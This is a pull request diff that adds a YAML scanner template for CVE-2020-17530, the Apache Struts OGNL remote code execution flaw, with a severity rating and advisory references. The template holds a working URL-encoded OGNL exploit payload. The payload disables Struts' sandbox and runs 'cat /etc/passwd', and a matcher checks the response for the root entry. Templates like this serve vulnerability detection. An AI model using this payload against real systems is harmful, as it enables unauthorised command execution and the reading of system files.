Merge pull request #773 from pikpikcu/patch-25

Add CVE-2020-17530

cves/2020/CVE-2020-17530.yaml

@@ -0,0 +1,26 @@
+id: CVE-2020-17530
+
+info:
+  name: Apache Struts RCE
+  author: pikpikcu
+  severity: critical
+
+  # Forced OGNL evaluation, when evaluated on raw user input in tag attributes,
+  # may lead to remote code execution. Affected software : Apache Struts 2.0.0 - Struts 2.5.25.
+  # References:
+  # http://jvn.jp/en/jp/JVN43969166/index.html
+  # http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html
+  # https://cwiki.apache.org/confluence/display/WW/S2-061
+  # https://security.netapp.com/advisory/ntap-20210115-0005/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "root:[x*]:0:0:"
+        part: body